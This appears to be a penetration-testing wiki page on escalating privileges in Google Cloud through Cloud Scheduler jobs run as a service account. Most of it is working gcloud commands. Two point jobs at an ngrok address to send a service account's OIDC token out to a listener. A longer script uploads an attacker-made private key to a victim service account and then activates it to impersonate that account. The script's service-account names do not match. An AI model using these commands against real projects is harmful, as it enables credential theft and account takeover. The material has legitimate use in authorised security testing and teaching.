# GCP - Cloud Scheduler Privesc

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## Cloud Scheduler

More information in:

{{#ref}}
../gcp-services/gcp-cloud-scheduler-enum.md
{{#endref}}

### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.

- **Contact any google API via`googleapis.com` with OAuth token header**

Create a new Storage bucket:

<details><summary>Create Cloud Scheduler job to create GCS bucket via API</summary>

```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```

</details>

To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**

- **Exfiltrate OIDC service account token**

<details><summary>Create Cloud Scheduler job to exfiltrate OIDC token</summary>

```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.
```

</details>

If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:

<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>

```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.
```

</details>

Another example to upload a private key to a SA and impersonate it:

<details><summary>Upload private key to Service Account via Cloud Scheduler and impersonate it</summary>

```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
    -keyout /tmp/private_key.pem \
    -out /tmp/public_key.pem \
    -subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
  --schedule='* * * * *' \
  --uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
  --message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
  --update-headers "Content-Type=application/json" \
  --location us-central1 \
  --oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
  "type": "service_account",
  "project_id": "$PROJECT_ID",
  "private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
  "private_key": $private_key_json,
  "client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
  "client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```

</details>

## References

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

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